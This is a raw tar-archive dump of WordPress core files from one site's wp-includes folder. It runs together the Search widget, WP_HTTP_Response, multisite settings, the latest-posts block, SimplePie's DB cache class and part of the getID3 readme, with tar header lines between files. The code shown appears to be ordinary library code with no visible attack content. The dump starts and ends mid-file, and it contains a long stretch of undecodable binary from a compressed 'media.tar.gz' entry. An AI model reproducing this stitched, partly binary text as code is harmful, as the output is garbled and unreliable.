		$title = ! empty( $instance['title'] ) ? $instance['title'] : '';

		/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
		$title = apply_filters( 'widget_title', $title, $instance, $this->id_base );

		echo $args['before_widget'];
		if ( $title ) {
			echo $args['before_title'] . $title . $args['after_title'];
		}

		// Use active theme search form if it exists.
		get_search_form();

		echo $args['after_widget'];
	}

	/**
	 * Outputs the settings form for the Search widget.
	 *
	 * @since 2.8.0
	 *
	 * @param array $instance Current settings.
	 */
	public function form( $instance ) {
		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		$title    = $instance['title'];
		?>
		<p>
			<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:' ); ?></label>
			<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" />
		</p>
		<?php
	}

	/**
	 * Handles updating settings for the current Search widget instance.
	 *
	 * @since 2.8.0
	 *
	 * @param array $new_instance New settings for this instance as input by the user via
	 *                            WP_Widget::form().
	 * @param array $old_instance Old settings for this instance.
	 * @return array Updated settings.
	 */
	public function update( $new_instance, $old_instance ) {
		$instance          = $old_instance;
		$new_instance      = wp_parse_args( (array) $new_instance, array( 'title' => '' ) );
		$instance['title'] = sanitize_text_field( $new_instance['title'] );
		return $instance;
	}
}
14338/class-wp-http-response.php.tar000064400000011000151024420100013043 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/class-wp-http-response.php000064400000005641151024203210026423 0ustar00<?php
/**
 * HTTP API: WP_HTTP_Response class
 *
 * @package WordPress
 * @subpackage HTTP
 * @since 4.4.0
 */

/**
 * Core class used to prepare HTTP responses.
 *
 * @since 4.4.0
 */
#[AllowDynamicProperties]
class WP_HTTP_Response {

	/**
	 * Response data.
	 *
	 * @since 4.4.0
	 * @var mixed
	 */
	public $data;

	/**
	 * Response headers.
	 *
	 * @since 4.4.0
	 * @var array
	 */
	public $headers;

	/**
	 * Response status.
	 *
	 * @since 4.4.0
	 * @var int
	 */
	public $status;

	/**
	 * Constructor.
	 *
	 * @since 4.4.0
	 *
	 * @param mixed $data    Response data. Default null.
	 * @param int   $status  Optional. HTTP status code. Default 200.
	 * @param array $headers Optional. HTTP header map. Default empty array.
	 */
	public function __construct( $data = null, $status = 200, $headers = array() ) {
		$this->set_data( $data );
		$this->set_status( $status );
		$this->set_headers( $headers );
	}

	/**
	 * Retrieves headers associated with the response.
	 *
	 * @since 4.4.0
	 *
	 * @return array Map of header name to header value.
	 */
	public function get_headers() {
		return $this->headers;
	}

	/**
	 * Sets all header values.
	 *
	 * @since 4.4.0
	 *
	 * @param array $headers Map of header name to header value.
	 */
	public function set_headers( $headers ) {
		$this->headers = $headers;
	}

	/**
	 * Sets a single HTTP header.
	 *
	 * @since 4.4.0
	 *
	 * @param string $key     Header name.
	 * @param string $value   Header value.
	 * @param bool   $replace Optional. Whether to replace an existing header of the same name.
	 *                        Default true.
	 */
	public function header( $key, $value, $replace = true ) {
		if ( $replace || ! isset( $this->headers[ $key ] ) ) {
			$this->headers[ $key ] = $value;
		} else {
			$this->headers[ $key ] .= ', ' . $value;
		}
	}

	/**
	 * Retrieves the HTTP return code for the response.
	 *
	 * @since 4.4.0
	 *
	 * @return int The 3-digit HTTP status code.
	 */
	public function get_status() {
		return $this->status;
	}

	/**
	 * Sets the 3-digit HTTP status code.
	 *
	 * @since 4.4.0
	 *
	 * @param int $code HTTP status.
	 */
	public function set_status( $code ) {
		$this->status = absint( $code );
	}

	/**
	 * Retrieves the response data.
	 *
	 * @since 4.4.0
	 *
	 * @return mixed Response data.
	 */
	public function get_data() {
		return $this->data;
	}

	/**
	 * Sets the response data.
	 *
	 * @since 4.4.0
	 *
	 * @param mixed $data Response data.
	 */
	public function set_data( $data ) {
		$this->data = $data;
	}

	/**
	 * Retrieves the response data for JSON serialization.
	 *
	 * It is expected that in most implementations, this will return the same as get_data(),
	 * however this may be different if you want to do custom JSON data handling.
	 *
	 * @since 4.4.0
	 *
	 * @return mixed Any JSON-serializable value.
	 */
	public function jsonSerialize() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.MethodNameInvalid
		return $this->get_data();
	}
}
14338/ms-settings.php.tar000064400000014000151024420100010761 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/ms-settings.php000064400000010145151024215460024343 0ustar00<?php
/**
 * Used to set up and fix common variables and include
 * the Multisite procedural and class library.
 *
 * Allows for some configuration in wp-config.php (see ms-default-constants.php)
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

/**
 * Objects representing the current network and current site.
 *
 * These may be populated through a custom `sunrise.php`. If not, then this
 * file will attempt to populate them based on the current request.
 *
 * @global WP_Network $current_site The current network.
 * @global object     $current_blog The current site.
 * @global string     $domain       Deprecated. The domain of the site found on load.
 *                                  Use `get_site()->domain` instead.
 * @global string     $path         Deprecated. The path of the site found on load.
 *                                  Use `get_site()->path` instead.
 * @global int        $site_id      Deprecated. The ID of the network found on load.
 *                                  Use `get_current_network_id()` instead.
 * @global bool       $public       Deprecated. Whether the site found on load is public.
 *                                  Use `get_site()->public` instead.
 *
 * @since 3.0.0
 */
global $current_site, $current_blog, $domain, $path, $site_id, $public;

/** WP_Network class */
require_once ABSPATH . WPINC . '/class-wp-network.php';

/** WP_Site class */
require_once ABSPATH . WPINC . '/class-wp-site.php';

/** Multisite loader */
require_once ABSPATH . WPINC . '/ms-load.php';

/** Default Multisite constants */
require_once ABSPATH . WPINC . '/ms-default-constants.php';

if ( defined( 'SUNRISE' ) ) {
	include_once WP_CONTENT_DIR . '/sunrise.php';
}

/** Check for and define SUBDOMAIN_INSTALL and the deprecated VHOST constant. */
ms_subdomain_constants();

// This block will process a request if the current network or current site objects
// have not been populated in the global scope through something like `sunrise.php`.
if ( ! isset( $current_site ) || ! isset( $current_blog ) ) {

	$domain = strtolower( stripslashes( $_SERVER['HTTP_HOST'] ) );
	if ( str_ends_with( $domain, ':80' ) ) {
		$domain               = substr( $domain, 0, -3 );
		$_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -3 );
	} elseif ( str_ends_with( $domain, ':443' ) ) {
		$domain               = substr( $domain, 0, -4 );
		$_SERVER['HTTP_HOST'] = substr( $_SERVER['HTTP_HOST'], 0, -4 );
	}

	$path = stripslashes( $_SERVER['REQUEST_URI'] );
	if ( is_admin() ) {
		$path = preg_replace( '#(.*)/wp-admin/.*#', '$1/', $path );
	}
	list( $path ) = explode( '?', $path );

	$bootstrap_result = ms_load_current_site_and_network( $domain, $path, is_subdomain_install() );

	if ( true === $bootstrap_result ) {
		// `$current_blog` and `$current_site are now populated.
	} elseif ( false === $bootstrap_result ) {
		ms_not_installed( $domain, $path );
	} else {
		header( 'Location: ' . $bootstrap_result );
		exit;
	}
	unset( $bootstrap_result );

	$blog_id = $current_blog->blog_id;
	$public  = $current_blog->public;

	if ( empty( $current_blog->site_id ) ) {
		// This dates to [MU134] and shouldn't be relevant anymore,
		// but it could be possible for arguments passed to insert_blog() etc.
		$current_blog->site_id = 1;
	}

	$site_id = $current_blog->site_id;
	wp_load_core_site_options( $site_id );
}

$wpdb->set_prefix( $table_prefix, false ); // $table_prefix can be set in sunrise.php.
$wpdb->set_blog_id( $current_blog->blog_id, $current_blog->site_id );
$table_prefix       = $wpdb->get_blog_prefix();
$_wp_switched_stack = array();
$switched           = false;

// Need to init cache again after blog_id is set.
wp_start_object_cache();

if ( ! $current_site instanceof WP_Network ) {
	$current_site = new WP_Network( $current_site );
}

if ( ! $current_blog instanceof WP_Site ) {
	$current_blog = new WP_Site( $current_blog );
}

// Define upload directory constants.
ms_upload_constants();

/**
 * Fires after the current site and network have been detected and loaded
 * in multisite's bootstrap.
 *
 * @since 4.6.0
 */
do_action( 'ms_loaded' );
14338/latest-posts.php.tar000064400000024000151024420100011147 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/latest-posts.php000064400000020536151024243420026007 0ustar00<?php
/**
 * Server-side rendering of the `core/latest-posts` block.
 *
 * @package WordPress
 */

/**
 * The excerpt length set by the Latest Posts core block
 * set at render time and used by the block itself.
 *
 * @var int
 */
global $block_core_latest_posts_excerpt_length;
$block_core_latest_posts_excerpt_length = 0;

/**
 * Callback for the excerpt_length filter used by
 * the Latest Posts block at render time.
 *
 * @since 5.4.0
 *
 * @return int Returns the global $block_core_latest_posts_excerpt_length variable
 *             to allow the excerpt_length filter respect the Latest Block setting.
 */
function block_core_latest_posts_get_excerpt_length() {
	global $block_core_latest_posts_excerpt_length;
	return $block_core_latest_posts_excerpt_length;
}

/**
 * Renders the `core/latest-posts` block on server.
 *
 * @since 5.0.0
 *
 * @param array $attributes The block attributes.
 *
 * @return string Returns the post content with latest posts added.
 */
function render_block_core_latest_posts( $attributes ) {
	global $post, $block_core_latest_posts_excerpt_length;

	$args = array(
		'posts_per_page'      => $attributes['postsToShow'],
		'post_status'         => 'publish',
		'order'               => $attributes['order'],
		'orderby'             => $attributes['orderBy'],
		'ignore_sticky_posts' => true,
		'no_found_rows'       => true,
	);

	$block_core_latest_posts_excerpt_length = $attributes['excerptLength'];
	add_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 );

	if ( ! empty( $attributes['categories'] ) ) {
		$args['category__in'] = array_column( $attributes['categories'], 'id' );
	}
	if ( isset( $attributes['selectedAuthor'] ) ) {
		$args['author'] = $attributes['selectedAuthor'];
	}

	$query        = new WP_Query();
	$recent_posts = $query->query( $args );

	if ( isset( $attributes['displayFeaturedImage'] ) && $attributes['displayFeaturedImage'] ) {
		update_post_thumbnail_cache( $query );
	}

	$list_items_markup = '';

	foreach ( $recent_posts as $post ) {
		$post_link = esc_url( get_permalink( $post ) );
		$title     = get_the_title( $post );

		if ( ! $title ) {
			$title = __( '(no title)' );
		}

		$list_items_markup .= '<li>';

		if ( $attributes['displayFeaturedImage'] && has_post_thumbnail( $post ) ) {
			$image_style = '';
			if ( isset( $attributes['featuredImageSizeWidth'] ) ) {
				$image_style .= sprintf( 'max-width:%spx;', $attributes['featuredImageSizeWidth'] );
			}
			if ( isset( $attributes['featuredImageSizeHeight'] ) ) {
				$image_style .= sprintf( 'max-height:%spx;', $attributes['featuredImageSizeHeight'] );
			}

			$image_classes = 'wp-block-latest-posts__featured-image';
			if ( isset( $attributes['featuredImageAlign'] ) ) {
				$image_classes .= ' align' . $attributes['featuredImageAlign'];
			}

			$featured_image = get_the_post_thumbnail(
				$post,
				$attributes['featuredImageSizeSlug'],
				array(
					'style' => esc_attr( $image_style ),
				)
			);
			if ( $attributes['addLinkToFeaturedImage'] ) {
				$featured_image = sprintf(
					'<a href="%1$s" aria-label="%2$s">%3$s</a>',
					esc_url( $post_link ),
					esc_attr( $title ),
					$featured_image
				);
			}
			$list_items_markup .= sprintf(
				'<div class="%1$s">%2$s</div>',
				esc_attr( $image_classes ),
				$featured_image
			);
		}

		$list_items_markup .= sprintf(
			'<a class="wp-block-latest-posts__post-title" href="%1$s">%2$s</a>',
			esc_url( $post_link ),
			$title
		);

		if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) {
			$author_display_name = get_the_author_meta( 'display_name', $post->post_author );

			/* translators: byline. %s: author. */
			$byline = sprintf( __( 'by %s' ), $author_display_name );

			if ( ! empty( $author_display_name ) ) {
				$list_items_markup .= sprintf(
					'<div class="wp-block-latest-posts__post-author">%1$s</div>',
					$byline
				);
			}
		}

		if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
			$list_items_markup .= sprintf(
				'<time datetime="%1$s" class="wp-block-latest-posts__post-date">%2$s</time>',
				esc_attr( get_the_date( 'c', $post ) ),
				get_the_date( '', $post )
			);
		}

		if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent']
			&& isset( $attributes['displayPostContentRadio'] ) && 'excerpt' === $attributes['displayPostContentRadio'] ) {

			$trimmed_excerpt = get_the_excerpt( $post );

			/*
			 * Adds a "Read more" link with screen reader text.
			 * [&hellip;] is the default excerpt ending from wp_trim_excerpt() in Core.
			 */
			if ( str_ends_with( $trimmed_excerpt, ' [&hellip;]' ) ) {
				/** This filter is documented in wp-includes/formatting.php */
				$excerpt_length = (int) apply_filters( 'excerpt_length', $block_core_latest_posts_excerpt_length );
				if ( $excerpt_length <= $block_core_latest_posts_excerpt_length ) {
					$trimmed_excerpt  = substr( $trimmed_excerpt, 0, -11 );
					$trimmed_excerpt .= sprintf(
						/* translators: 1: A URL to a post, 2: Hidden accessibility text: Post title */
						__( '… <a class="wp-block-latest-posts__read-more" href="%1$s" rel="noopener noreferrer">Read more<span class="screen-reader-text">: %2$s</span></a>' ),
						esc_url( $post_link ),
						esc_html( $title )
					);
				}
			}

			if ( post_password_required( $post ) ) {
				$trimmed_excerpt = __( 'This content is password protected.' );
			}

			$list_items_markup .= sprintf(
				'<div class="wp-block-latest-posts__post-excerpt">%1$s</div>',
				$trimmed_excerpt
			);
		}

		if ( isset( $attributes['displayPostContent'] ) && $attributes['displayPostContent']
			&& isset( $attributes['displayPostContentRadio'] ) && 'full_post' === $attributes['displayPostContentRadio'] ) {

			$post_content = html_entity_decode( $post->post_content, ENT_QUOTES, get_option( 'blog_charset' ) );

			if ( post_password_required( $post ) ) {
				$post_content = __( 'This content is password protected.' );
			}

			$list_items_markup .= sprintf(
				'<div class="wp-block-latest-posts__post-full-content">%1$s</div>',
				wp_kses_post( $post_content )
			);
		}

		$list_items_markup .= "</li>\n";
	}

	remove_filter( 'excerpt_length', 'block_core_latest_posts_get_excerpt_length', 20 );

	$classes = array( 'wp-block-latest-posts__list' );
	if ( isset( $attributes['postLayout'] ) && 'grid' === $attributes['postLayout'] ) {
		$classes[] = 'is-grid';
	}
	if ( isset( $attributes['columns'] ) && 'grid' === $attributes['postLayout'] ) {
		$classes[] = 'columns-' . $attributes['columns'];
	}
	if ( isset( $attributes['displayPostDate'] ) && $attributes['displayPostDate'] ) {
		$classes[] = 'has-dates';
	}
	if ( isset( $attributes['displayAuthor'] ) && $attributes['displayAuthor'] ) {
		$classes[] = 'has-author';
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );

	return sprintf(
		'<ul %1$s>%2$s</ul>',
		$wrapper_attributes,
		$list_items_markup
	);
}

/**
 * Registers the `core/latest-posts` block on server.
 *
 * @since 5.0.0
 */
function register_block_core_latest_posts() {
	register_block_type_from_metadata(
		__DIR__ . '/latest-posts',
		array(
			'render_callback' => 'render_block_core_latest_posts',
		)
	);
}
add_action( 'init', 'register_block_core_latest_posts' );

/**
 * Handles outdated versions of the `core/latest-posts` block by converting
 * attribute `categories` from a numeric string to an array with key `id`.
 *
 * This is done to accommodate the changes introduced in #20781 that sought to
 * add support for multiple categories to the block. However, given that this
 * block is dynamic, the usual provisions for block migration are insufficient,
 * as they only act when a block is loaded in the editor.
 *
 * TODO: Remove when and if the bottom client-side deprecation for this block
 * is removed.
 *
 * @since 5.5.0
 *
 * @param array $block A single parsed block object.
 *
 * @return array The migrated block object.
 */
function block_core_latest_posts_migrate_categories( $block ) {
	if (
		'core/latest-posts' === $block['blockName'] &&
		! empty( $block['attrs']['categories'] ) &&
		is_string( $block['attrs']['categories'] )
	) {
		$block['attrs']['categories'] = array(
			array( 'id' => absint( $block['attrs']['categories'] ) ),
		);
	}

	return $block;
}
add_filter( 'render_block_data', 'block_core_latest_posts_migrate_categories' );
14338/DB.php.tar000064400000016000151024420100006773 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/SimplePie/src/Cache/DB.php000064400000012676151024335250026047 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Cache;

/**
 * Base class for database-based caches
 *
 * @package SimplePie
 * @subpackage Caching
 * @deprecated since SimplePie 1.8.0, use implementation of "Psr\SimpleCache\CacheInterface" instead
 */
abstract class DB implements Base
{
    /**
     * Helper for database conversion
     *
     * Converts a given {@see SimplePie} object into data to be stored
     *
     * @param \SimplePie\SimplePie $data
     * @return array First item is the serialized data for storage, second item is the unique ID for this item
     */
    protected static function prepare_simplepie_object_for_cache($data)
    {
        $items = $data->get_items();
        $items_by_id = [];

        if (!empty($items)) {
            foreach ($items as $item) {
                $items_by_id[$item->get_id()] = $item;
            }

            if (count($items_by_id) !== count($items)) {
                $items_by_id = [];
                foreach ($items as $item) {
                    $items_by_id[$item->get_id(true)] = $item;
                }
            }

            if (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['feed'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RDF]['RDF'][0];
            } elseif (isset($data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0])) {
                $channel = &$data->data['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['rss'][0]['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['channel'][0];
            } else {
                $channel = null;
            }

            if ($channel !== null) {
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['entry']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_10]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_090]['item']);
                }
                if (isset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item'])) {
                    unset($channel['child'][\SimplePie\SimplePie::NAMESPACE_RSS_20]['item']);
                }
            }
            if (isset($data->data['items'])) {
                unset($data->data['items']);
            }
            if (isset($data->data['ordered_items'])) {
                unset($data->data['ordered_items']);
            }
        }
        return [serialize($data->data), $items_by_id];
    }
}

class_alias('SimplePie\Cache\DB', 'SimplePie_Cache_DB');
14338/media.tar.gz000064400000006221151024420100007422 0ustar00��[	\W!Q��"o�T�r� J�^`7@�Э+(j��@��
e��U�`�*(-*��"�V�Z�ںo&^k���j��\�|��%��{���/�HI��<b1ԍ@h�|����Fa(N�A`���(F��R�����ƽz!�|f��7j
v�^"?�E��oֶ3�σ��ϴY�>T�TG�)++kt�
�z
���Kc5{P���:kLځ�<�5��{��/:eJP^�>vÍG'O(�\��>���J�����i��my���v3lo|�6H�7��`��MU%ۍFŌ�['�s�F���+���n��k��ҵgf��dR�83������6�D��{�
L��]�KV�2�v����}����ǏA��p����9����Rn���I[�=�wy���������D� Z,����(����t�#��?C1���Z�x�p\�,"�Y U(�cccb	�ȨŎ8x��CdžIRg)�Ґ��R���&�2,$�-2�Y��(��`�Q&�9����
),qL7�NR�@��X���$��DE�D0TJty8��]f"PX�J��3�O����,4�$��TߖШޫ�!��;�'"������؇4�U��$$48F�}�g��q��T�m�W�?�ɮ�Q��ҐD�c�C"�9��j�N�k]������ɳE|����#n�վ�ij���~��ͽ�Ԃ+C��ʙ����9d}n+u�)�*4D�+�f)]o9B���*�1mJ�.��,�ަ#s��ڮ�m�[�a�yE_l�Hp�[�7S�w�a���n��t�O�?A�:�k�C��9}�ǀ��S����gdd�[�.��Դ��wtt��}Ǡ�Z�=l� �h>W�w����p�34����_���Ǜ��)̳�޲q]����>wS4���\��e-�2��u	��
z䐭#�
��3}6��\>���߶�t�o���ڹ�N��]�m(���L��C�z�a�,�ŵ�w�X_��7O!<`=)V>h�9�˷�Z�ܟds���@�p���F�-���QMJp�X���)��O�@�����Z���Ǟ\�'l�9V?��&�(�>KkQy�������|S8$-��y_��?�)�m��U��`�ā
��NF�[�SGޯ߽mhr*$6��-[�\R?�䎯��Z��A�|���7:�vB�#4�On:�e6DH���D�
�q.��s�~�|�h����n��5i�%�m[�>�X��ga�g�\?zV�X�y���:֘(�k����2����VVȱ/���+HquQ��u����`Iҵ��ښn��]ep0�oW��Ј��h8�{C��~�B�6�n�X��c�z�@U��}��6s��'���B2���mtk��;G��Rf�fSm�Z��v�~�~%n�Ϫ����^KC�>$�귶��m�E����fý=����mI��
�H�"�u��G5�?�u�_���\I�b&f��h�f�X�``!��F8�0�4狐b�hF�����!�	��"��8�!!X��ӂq�xRxt'��bT�-���1	J�S0�O��z��@�tzC��{��$Ek���m�w�c4���𕀙h@=��P�\eŸ�N��U6:�q�f�I�b��3���A!��/8������2G����{$[�+|s&#�"!Q�b;�Ii��at��z��\f�&-��ғ�Q䩁;���BTI��>�#
�=S�|:��P.@���G��(�,��A�ꋗ9�`�,��ט�,��w���F��`�N�k������1'�:ğ����R��9���}���?�8��LF`��h=�	)���������1��׽���9����V�+�ϒ�0��g��V���%����w�U���o�~r���o��%(B�5�Ϣ�F#���	J�-�������<�x�����h��[F�+��g0�ύv�4��
�45F��9��V٬j�+�P*r���V��L1]��اO��~��r��H�
����gH�7[�7*@��x6�����W�?CѺ��6��?��/��=|��7:&�wϝv/�� ��=}�����*���]������}��+��q�"C�z��� �A�tq��u�:��lz0�]���ݩ-�N�g��ׁ�{X������IB�-�W�����'�sZ=:'�td���|h�Rx��ߓ�?8���i��6�e��T���o.�%��g�>��"��A���V��!�.OR�3n�����$��˪_Y��)�� �Ygp�;����
��s[fJ�s[?]_߽x6��S��d��t��6�2�����?NII���ޱcGNN��9������kjjjnn�y��Ҵ��@ϵGԹ��ϝ滺Z��*RY�����>�#��I����K2�Tr�b�
␳hV�~,�n��n�}z�t|�E�Z��ʪ2��:���3�TI�6A���٫\�?q������7����-
~�	3ްF�ı�-�Gs�EO�*��0>1�iO�q�
-�;f6���3��g@}��!>�B�ʄ�^}�֫vI�����<u���h�f��cٯ�i���hT��4�����փ
�-��A|��[6L/SO���8�O��Ge����>
�q���0���R�/.���١������N������̀�*ƭiQF�!�%�[q�E�|rE��0���=?�P��(�?MP:��
����C�G|,�[��H�-pG�/Q��cl�f%����U�j��f��K���b]}R/)�6��s�V��5��j:.�v���
�"]V��*�KJ�{%� ���.<:�t���$�"����J��.wq�WU���:���_P:<�
]t�l�b���͇��&|`n_�<���������2�/����╭-	�N�ud��!��(7
7�b�^\�@�S?g��pwmTJ���O-4iMl˻��.�pDZ�ʜ������,+WD��;�nv��b_����Q|��q�L���nV��f�;p��ƻ�?�~��q��W̾�	+	8<š�b_���:���0<�FL14338/readme.txt.tar000064400000067000151024420100010001 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/ID3/readme.txt000064400000063332151024216330023735 0ustar00/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or https://www.getid3.org                        //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////

*****************************************************************
*****************************************************************

   getID3() is released under multiple licenses. You may choose
   from the following licenses, and use getID3 according to the
   terms of the license most suitable to your project.

GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)

GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)

Mozilla MPL: https://www.mozilla.org/MPL/2.0/                (v2)

getID3 Commercial License: https://www.getid3.org/#gCL
(no longer available, existing licenses remain valid)

*****************************************************************
*****************************************************************
Copies of each of the above licenses are included in the 'licenses'
directory of the getID3 distribution.


       +----------------------------------------------+
       | If you want to donate, there is a link on    |
       | https://www.getid3.org for PayPal donations. |
       +----------------------------------------------+


Quick Start
===========================================================================

Q: How can I check that getID3() works on my server/files?
A: Unzip getID3() to a directory, then access /demos/demo.browse.php



Support
===========================================================================

Q: I have a question, or I found a bug. What do I do?
A: The preferred method of support requests and/or bug reports is the
   forum at http://support.getid3.org/



Sourceforge Notification
===========================================================================

It's highly recommended that you sign up for notification from
Sourceforge for when new versions are released. Please visit:
http://sourceforge.net/project/showfiles.php?group_id=55859
and click the little "monitor package" icon/link.  If you're
previously signed up for the mailing list, be aware that it has
been discontinued, only the automated Sourceforge notification
will be used from now on.



What does getID3() do?
===========================================================================

Reads & parses (to varying degrees):
 ¤ tags:
  * APE (v1 and v2)
  * ID3v1 (& ID3v1.1)
  * ID3v2 (v2.4, v2.3, v2.2)
  * Lyrics3 (v1 & v2)

 ¤ audio-lossy:
  * MP3/MP2/MP1
  * MPC / Musepack
  * Ogg (Vorbis, OggFLAC, Speex, Opus)
  * AAC / MP4
  * AC3
  * DTS
  * RealAudio
  * Speex
  * DSS
  * VQF

 ¤ audio-lossless:
  * AIFF
  * AU
  * Bonk
  * CD-audio (*.cda)
  * FLAC
  * LA (Lossless Audio)
  * LiteWave
  * LPAC
  * MIDI
  * Monkey's Audio
  * OptimFROG
  * RKAU
  * Shorten
  * TTA
  * VOC
  * WAV (RIFF)
  * WavPack

 ¤ audio-video:
  * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV)
  * AVI (RIFF)
  * Flash
  * Matroska (MKV)
  * MPEG-1 / MPEG-2
  * NSV (Nullsoft Streaming Video)
  * Quicktime (including MP4)
  * RealVideo

 ¤ still image:
  * BMP
  * GIF
  * JPEG
  * PNG
  * TIFF
  * SWF (Flash)
  * PhotoCD

 ¤ data:
  * ISO-9660 CD-ROM image (directory structure)
  * SZIP (limited support)
  * ZIP (directory structure)
  * TAR
  * CUE


Writes:
  * ID3v1 (& ID3v1.1)
  * ID3v2 (v2.3 & v2.4)
  * VorbisComment on OggVorbis
  * VorbisComment on FLAC (not OggFLAC)
  * APE v2
  * Lyrics3 (delete only)



Requirements
===========================================================================

* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x  (and earlier)
* PHP 5.0.5 (or higher) for getID3() 1.8.x  (and up)
* PHP 5.3.0 (or higher) for getID3() 1.9.17 (and up)
* PHP 5.3.0 (or higher) for getID3() 2.0.x  (and up)
* at least 4MB memory for PHP. 8MB or more is highly recommended.
  12MB is required with all modules loaded.



Usage
===========================================================================

See /demos/demo.basic.php for a very basic use of getID3() with no
fancy output, just scanning one file.

See structure.txt for the returned data structure.

*>  For an example of a complete directory-browsing,       <*
*>  file-scanning implementation of getID3(), please run   <*
*>  /demos/demo.browse.php                                 <*

See /demos/demo.mysql.php for a sample recursive scanning code that
scans every file in a given directory, and all sub-directories, stores
the results in a database and allows various analysis / maintenance
operations

To analyze remote files over HTTP or FTP you need to copy the file
locally first before running getID3(). Your code would look something
like this:

// Copy remote file locally to scan with getID3()
$remotefilename = 'http://www.example.com/filename.mp3';
if ($fp_remote = fopen($remotefilename, 'rb')) {
	$localtempfilename = tempnam('/tmp', 'getID3');
	if ($fp_local = fopen($localtempfilename, 'wb')) {
